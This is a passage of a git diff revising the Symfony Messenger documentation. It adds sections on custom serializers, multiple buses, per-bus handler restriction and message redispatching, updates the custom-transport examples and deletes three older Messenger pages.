Symfony\Component\Messenger\Stamp\HandlerArgumentsStamp; - class ThumbnailUploadedImageHandler implements MessageSubscriberInterface + final class AdditionalArgumentMiddleware implements MiddlewareInterface { - public function __invoke(UploadedImage $uploadedImage) + public function handle(Envelope $envelope, StackInterface $stack): Envelope { - // do some thumbnailing + $envelope = $envelope->with(new HandlerArgumentsStamp([ + $this->resolveAdditionalArgument($envelope->getMessage()), + ])); + + return $stack->next()->handle($envelope, $stack); } - public static function getHandledMessages(): iterable + private function resolveAdditionalArgument(object $message): mixed { - yield UploadedImage::class => [ - 'from_transport' => 'image_transport', - ]; + // ... } } -And similarly:: +Then your handler will look like this:: - // src/MessageHandler/NotifyAboutNewUploadedImageHandler.php - // ... + // src/MessageHandler/SmsNotificationHandler.php + namespace App\MessageHandler; + + use App\Message\SmsNotification; + + final class SmsNotificationHandler + { + public function __invoke(SmsNotification $message, mixed $additionalArgument) + { + // ... + } + } + +Message Serializer For Custom Data Formats +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you receive messages from other applications, it's possible that they are not +exactly in the format you need. Not all applications will return a JSON message +with ``body`` and ``headers`` fields. In those cases, you'll need to create a +new message serializer implementing the +:class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\SerializerInterface`. +Let's say you want to create a message decoder:: + + namespace App\Messenger\Serializer; + + use Symfony\Component\Messenger\Envelope; + use Symfony\Component\Messenger\Transport\Serialization\SerializerInterface; - class NotifyAboutNewUploadedImageHandler implements MessageSubscriberInterface + class MessageWithTokenDecoder implements SerializerInterface { - // ... + public function decode(array $encodedEnvelope): Envelope + { + try { + // parse the data you received with your custom fields + $data = $encodedEnvelope['data']; + $data['token'] = $encodedEnvelope['token']; + + // other operations like getting information from stamps + } catch (\Throwable $throwable) { + // wrap any exception that may occur in the envelope to send it to the failure transport + return new Envelope($throwable); + } + + return new Envelope($data); + } - public static function getHandledMessages(): iterable + public function encode(Envelope $envelope): array { - yield UploadedImage::class => [ - 'from_transport' => 'async_priority_normal', - ]; + // this decoder does not encode messages, but you can implement it by returning + // an array with serialized stamps if you need to send messages in a custom format + throw new \LogicException('This serializer is only used for decoding messages.'); } } -Then, make sure to "route" your message to *both* transports: +The next step is to tell Symfony to use this serializer in one or more of your +transports: .. configuration-block:: @@ -1596,12 +3384,9 @@ Then, make sure to "route" your message to *both* transports: framework: messenger: transports: - async_priority_normal: # ... - image_transport: # ... - - routing: - # ... - 'App\Message\UploadedImage': [image_transport, async_priority_normal] + my_transport: + dsn: '%env(MY_TRANSPORT_DSN)%' + serializer: 'App\Messenger\Serializer\MessageWithTokenDecoder' .. code-block:: xml @@ -1617,13 +3402,9 @@ Then, make sure to "route" your message to *both* transports: <framework:config> <framework:messenger> - <framework:transport name="async_priority_normal" dsn="..."/> - <framework:transport name="image_transport" dsn="..."/> - - <framework:routing message-class="App\Message\UploadedImage"> - <framework:sender service="image_transport"/> - <framework:sender service="async_priority_normal"/> - </framework:routing> + <framework:transport name="my_transport" dsn="%env(MY_TRANSPORT_DSN)%" serializer="App\Messenger\Serializer\MessageWithTokenDecoder"> + <!-- ... --> + </framework:transport> </framework:messenger> </framework:config> </container> @@ -1631,121 +3412,66 @@ Then, make sure to "route" your message to *both* transports: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - 'async_priority_normal' => '...', - 'image_transport' => '...', - ], - 'routing' => [ - 'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal'] - ] - ], - ]); - -That's it! You can now consume each transport: - -.. code-block:: terminal - - # will only call ThumbnailUploadedImageHandler when handling the message - $ php bin/console messenger:consume image_transport -vv - - $ php bin/console messenger:consume async_priority_normal -vv - -.. caution:: - - If a handler does *not* have ``from_transport`` config, it will be executed - on *every* transport that the message is received from. - -Extending Messenger -------------------- - -Envelopes & Stamps -~~~~~~~~~~~~~~~~~~ - -A message can be any PHP object. Sometimes, you may need to configure something -extra about the message - like the way it should be handled inside AMQP or adding -a delay before the message should be handled. You can do that by adding a "stamp" -to your message:: - - use Symfony\Component\Messenger\Envelope; - use Symfony\Component\Messenger\MessageBusInterface; - use Symfony\Component\Messenger\Stamp\DelayStamp; - - public function index(MessageBusInterface $bus) - { - $bus->dispatch(new SmsNotification('...'), [ - // wait 5 seconds before processing - new DelayStamp(5000) - ]); - - // or explicitly create an Envelope - $bus->dispatch(new Envelope(new SmsNotification('...'), [ - new DelayStamp(5000) - ])); - - // ... - } - -Internally, each message is wrapped in an ``Envelope``, which holds the message -and stamps. You can create this manually or allow the message bus to do it. There -are a variety of different stamps for different purposes and they're used internally -to track information about a message - like the message bus that's handling it -or if it's being retried after failure. - -Middleware -~~~~~~~~~~ - -What happens when you dispatch a message to a message bus depends on its -collection of middleware and their order. By default, the middleware configured -for each bus looks like this: - -#. ``add_bus_name_stamp_middleware`` - adds a stamp to record which bus this - message was dispatched into; - -#. ``dispatch_after_current_bus``- see :doc:`/messenger/dispatch_after_current_bus`; + use App\Messenger\Serializer\MessageWithTokenDecoder; + use Symfony\Config\FrameworkConfig; -#. ``failed_message_processing_middleware`` - processes messages that are being - retried via the :ref:`failure transport <messenger-failure-transport>` to make - them properly function as if they were being received from their original transport; + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); -#. Your own collection of middleware_; + $messenger->transport('my_transport') + ->dsn('%env(MY_TRANSPORT_DSN)%') + ->serializer(MessageWithTokenDecoder::class); + }; -#. ``send_message`` - if routing is configured for the transport, this sends - messages to that transport and stops the middleware chain; +.. _messenger-multiple-buses: -#. ``handle_message`` - calls the message handler(s) for the given message. +Multiple Buses, Command & Event Buses +------------------------------------- -.. note:: +Messenger gives you a single message bus service by default. But, you can configure +as many as you want, creating "command", "query" or "event" buses and controlling +their middleware. - These middleware names are actually shortcut names. The real service ids - are prefixed with ``messenger.middleware.`` (e.g. ``messenger.middleware.handle_message``). +A common architecture when building applications is to separate commands from +queries. Commands are actions that do something and queries fetch data. This +is called CQRS (Command Query Responsibility Segregation). See Martin Fowler's +`article about CQRS`_ to learn more. This architecture could be used together +with the Messenger component by defining multiple buses. -The middleware are executed when the message is dispatched but *also* again when -a message is received via the worker (for messages that were sent to a transport -to be handled asynchronously). Keep this in mind if you create your own middleware. +A **command bus** is a little different from a **query bus**. For example, command +buses usually don't provide any results and query buses are rarely asynchronous. +You can configure these buses and their rules by using middleware. -You can add your own middleware to this list, or completely disable the default -middleware and *only* include your own: +It might also be a good idea to separate actions from reactions by introducing +an **event bus**. The event bus could have zero or more subscribers. .. configuration-block:: .. code-block:: yaml - # config/packages/messenger.yaml framework: messenger: + # The bus that is going to be injected when injecting MessageBusInterface + default_bus: command.bus buses: - messenger.bus.default: - # disable the default middleware - default_middleware: false - - # and/or add your own + command.bus: middleware: - # service ids that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface - - 'App\Middleware\MyMiddleware' - - 'App\Middleware\AnotherMiddleware' - + - validation + - doctrine_transaction + query.bus: + middleware: + - validation + event.bus: + default_middleware: + enabled: true + # set "allow_no_handlers" to true (default is false) to allow having + # no handler configured for this bus without throwing an exception + allow_no_handlers: false + # set "allow_no_senders" to false (default is true) to throw an exception + # if no sender is configured for this bus + allow_no_senders: true + middleware: + - validation .. code-block:: xml @@ -1760,13 +3486,23 @@ middleware and *only* include your own: https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:messenger> - <!-- default-middleware: disable the default middleware --> - <framework:bus name="messenger.bus.default" default-middleware="false"/> - - <!-- and/or add your own --> - <framework:middleware id="App\Middleware\MyMiddleware"/> - <framework:middleware id="App\Middleware\AnotherMiddleware"/> + <!-- The bus that is going to be injected when injecting MessageBusInterface --> + <framework:messenger default-bus="command.bus"> + <framework:bus name="command.bus"> + <framework:middleware id="validation"/> + <framework:middleware id="doctrine_transaction"/> + </framework:bus> + <framework:bus name="query.bus"> + <framework:middleware id="validation"/> + </framework:bus> + <framework:bus name="event.bus"> + <!-- set "allow-no-handlers" to true (default is false) to allow having + no handler configured for this bus without throwing an exception --> + <!-- set "allow-no-senders" to false (default is true) to throw an exception + if no sender is configured for this bus --> + <framework:default-middleware enabled="true" allow-no-handlers="false" allow-no-senders="true"/> + <framework:middleware id="validation"/> + </framework:bus> </framework:messenger> </framework:config> </container> @@ -1774,137 +3510,236 @@ middleware and *only* include your own: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'buses' => [ - 'messenger.bus.default' => [ - // disable the default middleware - 'default_middleware' => false, - - // and/or add your own - 'middleware' => [ - 'App\Middleware\MyMiddleware', - 'App\Middleware\AnotherMiddleware', - ], - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; -.. note:: + return static function (FrameworkConfig $framework): void { + // The bus that is going to be injected when injecting MessageBusInterface + $framework->messenger()->defaultBus('command.bus'); - If a middleware service is abstract, a different instance of the service will - be created per bus. + $commandBus = $framework->messenger()->bus('command.bus'); + $commandBus->middleware()->id('validation'); + $commandBus->middleware()->id('doctrine_transaction'); -Middleware for Doctrine -~~~~~~~~~~~~~~~~~~~~~~~ + $queryBus = $framework->messenger()->bus('query.bus'); + $queryBus->middleware()->id('validation'); -.. versionadded:: 1.11 + $eventBus = $framework->messenger()->bus('event.bus'); + $eventBus->defaultMiddleware() + ->enabled(true) + // set "allowNoHandlers" to true (default is false) to allow having + // no handler configured for this bus without throwing an exception + ->allowNoHandlers(false) + // set "allowNoSenders" to false (default is true) to throw an exception + // if no sender is configured for this bus + ->allowNoSenders(true) + ; + $eventBus->middleware()->id('validation'); + }; - The following Doctrine middleware were introduced in DoctrineBundle 1.11. +This will create three new services: -If you use Doctrine in your app, a number of optional middleware exist that you -may want to use: +* ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface` + type-hint (because this is the ``default_bus``); + +* ``query.bus``: autowireable with ``MessageBusInterface $queryBus``; + +* ``event.bus``: autowireable with ``MessageBusInterface $eventBus``. + +Restrict Handlers per Bus +~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, each handler will be available to handle messages on *all* +of your buses. To prevent dispatching a message to the wrong bus without an error, +you can restrict each handler to a specific bus using the ``messenger.message_handler`` tag: .. configuration-block:: .. code-block:: yaml - # config/packages/messenger.yaml - framework: - messenger: - buses: - command_bus: - middleware: - # each time a message is handled, the Doctrine connection - # is "pinged" and reconnected if it's closed. Useful - # if your workers run for a long time and the database - # connection is sometimes lost - - doctrine_ping_connection + # config/services.yaml + services: + App\MessageHandler\SomeCommandHandler: + tags: [{ name: messenger.message_handler, bus: command.bus }] - # After handling, the Doctrine connection is closed, - # which can free up database connections in a worker, - # instead of keeping them open forever - - doctrine_close_connection + .. code-block:: xml - # wraps all handlers in a single Doctrine transaction - # handlers do not need to call flush() and an error - # in any handler will cause a rollback - - doctrine_transaction + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> - # or pass a different entity manager to any - #- doctrine_transaction: ['custom'] + <services> + <service id="App\MessageHandler\SomeCommandHandler"> + <tag name="messenger.message_handler" bus="command.bus"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + $container->services() + ->set(App\MessageHandler\SomeCommandHandler::class) + ->tag('messenger.message_handler', ['bus' => 'command.bus']); + +This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be +known by the ``command.bus`` bus. + +You can also automatically add this tag to a number of classes by using +the :ref:`_instanceof service configuration <di-instanceof>`. Using this, +you can determine the message bus based on an implemented interface: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + _instanceof: + # all services implementing the CommandHandlerInterface + # will be registered on the command.bus bus + App\MessageHandler\CommandHandlerInterface: + tags: + - { name: messenger.message_handler, bus: command.bus } + + # while those implementing QueryHandlerInterface will be + # registered on the query.bus bus + App\MessageHandler\QueryHandlerInterface: + tags: + - { name: messenger.message_handler, bus: query.bus } .. code-block:: xml - <!-- config/packages/messenger.xml --> + <!-- config/services.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <framework:config> - <framework:messenger> - <framework:bus name="command_bus"> - <framework:middleware id="doctrine_transaction"/> - <framework:middleware id="doctrine_ping_connection"/> - <framework:middleware id="doctrine_close_connection"/> + https://symfony.com/schema/dic/services/services-1.0.xsd"> - <!-- or pass a different entity manager to any --> - <!-- - <framework:middleware id="doctrine_transaction"> - <framework:argument>custom</framework:argument> - </framework:middleware> - --> - </framework:bus> - </framework:messenger> - </framework:config> + <services> + <!-- ... --> + + <!-- all services implementing the CommandHandlerInterface + will be registered on the command.bus bus --> + <instanceof id="App\MessageHandler\CommandHandlerInterface"> + <tag name="messenger.message_handler" bus="command.bus"/> + </instanceof> + + <!-- while those implementing QueryHandlerInterface will be + registered on the query.bus bus --> + <instanceof id="App\MessageHandler\QueryHandlerInterface"> + <tag name="messenger.message_handler" bus="query.bus"/> + </instanceof> + </services> </container> .. code-block:: php - // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'buses' => [ - 'command_bus' => [ - 'middleware' => [ - 'doctrine_transaction', - 'doctrine_ping_connection', - 'doctrine_close_connection', - // Using another entity manager - ['id' => 'doctrine_transaction', 'arguments' => ['custom']], - ], - ], - ], - ], - ]); + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; -Messenger Events -~~~~~~~~~~~~~~~~ + use App\MessageHandler\CommandHandlerInterface; + use App\MessageHandler\QueryHandlerInterface; -In addition to middleware, Messenger also dispatches several events. You can -:doc:`create an event listener </event_dispatcher>` to hook into various parts -of the process. For each, the event class is the event name: + return function(ContainerConfigurator $container): void { + $services = $container->services(); -* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent` -* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent` -* :class:`Symfony\\Component\\Messenger\\Event\\SendMessageToTransportsEvent` -* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageFailedEvent` -* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent` -* :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent` -* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent` + // ... -Multiple Buses, Command & Event Buses -------------------------------------- + // all services implementing the CommandHandlerInterface + // will be registered on the command.bus bus + $services->instanceof(CommandHandlerInterface::class) + ->tag('messenger.message_handler', ['bus' => 'command.bus']); -Messenger gives you a single message bus service by default. But, you can configure -as many as you want, creating "command", "query" or "event" buses and controlling -their middleware. See :doc:`/messenger/multiple_buses`. + // while those implementing QueryHandlerInterface will be + // registered on the query.bus bus + $services->instanceof(QueryHandlerInterface::class) + ->tag('messenger.message_handler', ['bus' => 'query.bus']); + }; + +Debugging the Buses +~~~~~~~~~~~~~~~~~~~ + +The ``debug:messenger`` command lists available messages & handlers per bus. +You can also restrict the list to a specific bus by providing its name as an argument. + +.. code-block:: terminal + + $ php bin/console debug:messenger + + Messenger + ========= + + command.bus + ----------- + + The following messages can be dispatched: + + --------------------------------------------------------------------------------------- + App\Message\DummyCommand + handled by App\MessageHandler\DummyCommandHandler + App\Message\MultipleBusesMessage + handled by App\MessageHandler\MultipleBusesMessageHandler + --------------------------------------------------------------------------------------- + + query.bus + --------- + + The following messages can be dispatched: + + --------------------------------------------------------------------------------------- + App\Message\DummyQuery + handled by App\MessageHandler\DummyQueryHandler + App\Message\MultipleBusesMessage + handled by App\MessageHandler\MultipleBusesMessageHandler + --------------------------------------------------------------------------------------- + +.. tip:: + + The command will also show the PHPDoc description of the message and handler classes. + +Redispatching a Message +----------------------- + +If you want to redispatch a message (using the same transport and envelope), create +a new :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage` and dispatch +it through your bus. Reusing the same ``SmsNotification`` example shown earlier:: + + // src/MessageHandler/SmsNotificationHandler.php + namespace App\MessageHandler; + + use App\Message\SmsNotification; + use Symfony\Component\Messenger\Attribute\AsMessageHandler; + use Symfony\Component\Messenger\Message\RedispatchMessage; + use Symfony\Component\Messenger\MessageBusInterface; + + #[AsMessageHandler] + class SmsNotificationHandler + { + public function __construct(private MessageBusInterface $bus) + { + } + + public function __invoke(SmsNotification $message): void + { + // do something with the message + // then redispatch it based on your own logic + + if ($needsRedispatch) { + $this->bus->dispatch(new RedispatchMessage($message)); + } + } + } + +The built-in :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler` +will take care of this message to redispatch it through the same bus it was +dispatched at first. You can also use the second argument of the ``RedispatchMessage`` +constructor to provide transports to use when redispatching the message. Learn more ---------- @@ -1918,7 +3753,16 @@ Learn more .. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport .. _`streams`: https://redis.io/topics/streams-intro .. _`Supervisor docs`: http://supervisord.org/ +.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php +.. _`systemd docs`: https://systemd.io/ .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html +.. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html +.. _`AMQProxy`: https://github.com/cloudamqp/amqproxy +.. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn +.. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html +.. _`SSL context options`: https://php.net/context.ssl +.. _`predefined constants`: https://www.php.net/pcntl.constants +.. _`SQS CreateQueue API`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_CreateQueue.html diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst index be41d63a41e..7d1698126d1 100644 --- a/messenger/custom-transport.rst +++ b/messenger/custom-transport.rst @@ -44,15 +44,15 @@ Here is a simplified example of a database transport:: class YourTransport implements TransportInterface { - private $db; - private $serializer; + private SerializerInterface $serializer; /** * @param FakeDatabase $db is used for demo purposes. It is not a real class. */ - public function __construct(FakeDatabase $db, SerializerInterface $serializer = null) - { - $this->db = $db; + public function __construct( + private FakeDatabase $db, + ?SerializerInterface $serializer = null, + ) { $this->serializer = $serializer ?? new PhpSerializer(); } @@ -65,7 +65,7 @@ Here is a simplified example of a database transport:: WHERE (delivered_at IS NULL OR delivered_at < :redeliver_timeout) AND handled = FALSE' ) - ->setParameter('redeliver_timeout', new DateTimeImmutable('-5minutes')) + ->setParameter('redeliver_timeout', new DateTimeImmutable('-5 minutes')) ->getOneOrNullResult(); if (null === $row) { @@ -126,12 +126,17 @@ Here is a simplified example of a database transport:: The implementation above is not runnable code but illustrates how a :class:`Symfony\\Component\\Messenger\\Transport\\TransportInterface` could -be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemoryTransport` -and :class:`Symfony\\Component\\Messenger\\Transport\\Doctrine\\DoctrineReceiver`. +be implemented. For real implementations see :class:`Symfony\\Component\\Messenger\\Transport\\InMemory\\InMemoryTransport` +and :class:`Symfony\\Component\\Messenger\\Bridge\\Doctrine\\Transport\\DoctrineReceiver`. Register your Factory --------------------- +Before using your factory, you must register it. If you're using the +:ref:`default services.yaml configuration <service-container-services-load-example>`, +this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`. +Otherwise, add the following: + .. configuration-block:: .. code-block:: yaml @@ -203,13 +208,14 @@ named transport using your own DSN: .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'transports' => [ - 'yours' => 'my-transport://...', - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->messenger() + ->transport('yours') + ->dsn('my-transport://...') + ; + }; In addition of being able to route your messages to the ``yours`` sender, this will give you access to the following services: diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst deleted file mode 100644 index e382f49eed3..00000000000 --- a/messenger/dispatch_after_current_bus.rst +++ /dev/null @@ -1,136 +0,0 @@ -.. index:: - single: Messenger; Record messages; Transaction messages - -Transactional Messages: Handle New Messages After Handling is Done -================================================================== - -A message handler can ``dispatch`` new messages while handling others, to either the -same or a different bus (if the application has -:doc:`multiple buses </messenger/multiple_buses>`). Any errors or exceptions that -occur during this process can have unintended consequences, such as: - -- If using the ``DoctrineTransactionMiddleware`` and a dispatched message throws - an exception, then any database transactions in the original handler will be - rolled back. -- If the message is dispatched to a different bus, then the dispatched message - will be handled even if some code later in the current handler throws an - exception. - -An Example ``RegisterUser`` Process ------------------------------------ - -Let's take the example of an application with both a *command* and an *event* -bus. The application dispatches a command named ``RegisterUser`` to the command -bus. The command is handled by the ``RegisterUserHandler`` which creates a -``User`` object, stores that object to a database and dispatches a -``UserRegistered`` message to the event bus. - -There are many handlers to the ``UserRegistered`` message, one handler may send -a welcome email to the new user. We are using the ``DoctrineTransactionMiddleware`` -to wrap all database queries in one database transaction. - -**Problem 1:** If an exception is thrown when sending the welcome email, then -the user will not be created because the ``DoctrineTransactionMiddleware`` will -rollback the Doctrine transaction, in which the user has been created. - -**Problem 2:** If an exception is thrown when saving the user to the database, -the welcome email is still sent because it is handled asynchronously. - -DispatchAfterCurrentBusMiddleware Middleware --------------------------------------------- - -For many applications, the desired behavior is to *only* handle messages that -are dispatched by a handler once that handler has fully finished. This can be by -using the ``DispatchAfterCurrentBusMiddleware`` and adding a -``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`:: - - // src/Messenger/CommandHandler/RegisterUserHandler.php - namespace App\Messenger\CommandHandler; - - use App\Entity\User; - use App\Messenger\Command\RegisterUser; - use App\Messenger\Event\UserRegistered; - use Doctrine\ORM\EntityManagerInterface; - use Symfony\Component\Messenger\Envelope; - use Symfony\Component\Messenger\MessageBusInterface; - use Symfony\Component\Messenger\Stamp\DispatchAfterCurrentBusStamp; - - class RegisterUserHandler - { - private $eventBus; - private $em; - - public function __construct(MessageBusInterface $eventBus, EntityManagerInterface $em) - { - $this->eventBus = $eventBus; - $this->em = $em; - } - - public function __invoke(RegisterUser $command) - { - $user = new User($command->getUuid(), $command->getName(), $command->getEmail()); - $this->em->persist($user); - - // The DispatchAfterCurrentBusStamp marks the event message to be handled - // only if this handler does not throw an exception. - - $event = new UserRegistered($command->getUuid()); - $this->eventBus->dispatch( - (new Envelope($event)) - ->with(new DispatchAfterCurrentBusStamp()) - ); - - // ... - } - } - -.. code-block:: php - - // src/Messenger/EventSubscriber/WhenUserRegisteredThenSendWelcomeEmail.php - namespace App\Messenger\EventSubscriber; - - use App\Entity\User; - use App\Messenger\Event\UserRegistered; - use Doctrine\ORM\EntityManagerInterface; - use Symfony\Component\Mailer\MailerInterface; - use Symfony\Component\Mime\RawMessage; - - class WhenUserRegisteredThenSendWelcomeEmail - { - private $mailer; - private $em; - - public function __construct(MailerInterface $mailer, EntityManagerInterface $em) - { - $this->mailer = $mailer; - $this->em = $em; - } - - public function __invoke(UserRegistered $event) - { - $user = $this->em->getRepository(User::class)->find($event->getUuid()); - - $this->mailer->send(new RawMessage('Welcome '.$user->getFirstName())); - } - } - -This means that the ``UserRegistered`` message would not be handled until -*after* the ``RegisterUserHandler`` had completed and the new ``User`` was -persisted to the database. If the ``RegisterUserHandler`` encounters an -exception, the ``UserRegistered`` event will never be handled. And if an -exception is thrown while sending the welcome email, the Doctrine transaction -will not be rolled back. - -.. note:: - - If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that - exception will be wrapped into a ``DelayedMessageHandlingException``. Using - ``DelayedMessageHandlingException::getExceptions`` will give you all - exceptions that are thrown while handing a message with the - ``DispatchAfterCurrentBusStamp``. - -The ``dispatch_after_current_bus`` middleware is enabled by default. If you're -configuring your middleware manually, be sure to register -``dispatch_after_current_bus`` before ``doctrine_transaction`` in the middleware -chain. Also, the ``dispatch_after_current_bus`` middleware must be loaded for -*all* of the buses being used. diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst deleted file mode 100644 index dc4c1fd0821..00000000000 --- a/messenger/handler_results.rst +++ /dev/null @@ -1,102 +0,0 @@ -.. index:: - single: Messenger; Getting results / Working with command & query buses - -Getting Results from your Handler -================================= - -When a message is handled, the :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware` -adds a :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp` for each object that handled the message. -You can use this to get the value returned by the handler(s):: - - use Symfony\Component\Messenger\MessageBusInterface; - use Symfony\Component\Messenger\Stamp\HandledStamp; - - $envelope = $messageBus->dispatch(SomeMessage()); - - // get the value that was returned by the last message handler - $handledStamp = $envelope->last(HandledStamp::class); - $handledStamp->getResult(); - - // or get info about all of handlers - $handledStamps = $envelope->all(HandledStamp::class); - -Working with Command & Query Buses ----------------------------------- - -The Messenger component can be used in CQRS architectures where command & query -buses are central pieces of the application. Read Martin Fowler's -`article about CQRS`_ to learn more and -:doc:`how to configure multiple buses </messenger/multiple_buses>`. - -As queries are usually synchronous and expected to be handled once, -getting the result from the handler is a common need. - -A :class:`Symfony\\Component\\Messenger\\HandleTrait` exists to get the result -of the handler when processing synchronously. It also ensures that exactly one -handler is registered. The ``HandleTrait`` can be used in any class that has a -``$messageBus`` property:: - - // src/Action/ListItems.php - namespace App\Action; - - use App\Message\ListItemsQuery; - use App\MessageHandler\ListItemsQueryResult; - use Symfony\Component\Messenger\HandleTrait; - use Symfony\Component\Messenger\MessageBusInterface; - - class ListItems - { - use HandleTrait; - - public function __construct(MessageBusInterface $messageBus) - { - $this->messageBus = $messageBus; - } - - public function __invoke() - { - $result = $this->query(new ListItemsQuery(/* ... */)); - - // Do something with the result - // ... - } - - // Creating such a method is optional, but allows type-hinting the result - private function query(ListItemsQuery $query): ListItemsResult - { - return $this->handle($query); - } - } - -Hence, you can use the trait to create command & query bus classes. -For example, you could create a special ``QueryBus`` class and inject it -wherever you need a query bus behavior instead of the ``MessageBusInterface``:: - - // src/MessageBus/QueryBus.php - namespace App\MessageBus; - - use Symfony\Component\Messenger\Envelope; - use Symfony\Component\Messenger\HandleTrait; - use Symfony\Component\Messenger\MessageBusInterface; - - class QueryBus - { - use HandleTrait; - - public function __construct(MessageBusInterface $messageBus) - { - $this->messageBus = $messageBus; - } - - /** - * @param object|Envelope $query - * - * @return mixed The handler returned value - */ - public function query($query) - { - return $this->handle($query); - } - } - -.. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst deleted file mode 100644 index 5136553dac2..00000000000 --- a/messenger/multiple_buses.rst +++ /dev/null @@ -1,252 +0,0 @@ -.. index:: - single: Messenger; Multiple buses - -Multiple Buses -============== - -A common architecture when building applications is to separate commands from -queries. Commands are actions that do something and queries fetch data. This -is called CQRS (Command Query Responsibility Segregation). See Martin Fowler's -`article about CQRS`_ to learn more. This architecture could be used together -with the Messenger component by defining multiple buses. - -A **command bus** is a little different from a **query bus**. For example, command -buses usually don't provide any results and query buses are rarely asynchronous. -You can configure these buses and their rules by using middleware. - -It might also be a good idea to separate actions from reactions by introducing -an **event bus**. The event bus could have zero or more subscribers. - -.. configuration-block:: - - .. code-block:: yaml - - framework: - messenger: - # The bus that is going to be injected when injecting MessageBusInterface - default_bus: command.bus - buses: - command.bus: - middleware: - - validation - - doctrine_transaction - query.bus: - middleware: - - validation - event.bus: - default_middleware: allow_no_handlers - middleware: - - validation - - .. code-block:: xml - - <!-- config/packages/messenger.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - - <framework:config> - <!-- The bus that is going to be injected when injecting MessageBusInterface --> - <framework:messenger default-bus="command.bus"> - <framework:bus name="command.bus"> - <framework:middleware id="validation"/> - <framework:middleware id="doctrine_transaction"/> - <framework:bus> - <framework:bus name="query.bus"> - <framework:middleware id="validation"/> - <framework:bus> - <framework:bus name="event.bus" default-middleware="allow_no_handlers"> - <framework:middleware id="validation"/> - <framework:bus> - </framework:messenger> - </framework:config> - </container> - - .. code-block:: php - - // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - // The bus that is going to be injected when injecting MessageBusInterface - 'default_bus' => 'command.bus', - 'buses' => [ - 'command.bus' => [ - 'middleware' => [ - 'validation', - 'doctrine_transaction', - ], - ], - 'query.bus' => [ - 'middleware' => [ - 'validation', - ], - ], - 'event.bus' => [ - 'default_middleware' => 'allow_no_handlers', - 'middleware' => [ - 'validation', - ], - ], - ], - ], - ]); - -This will create three new services: - -* ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface` - type-hint (because this is the 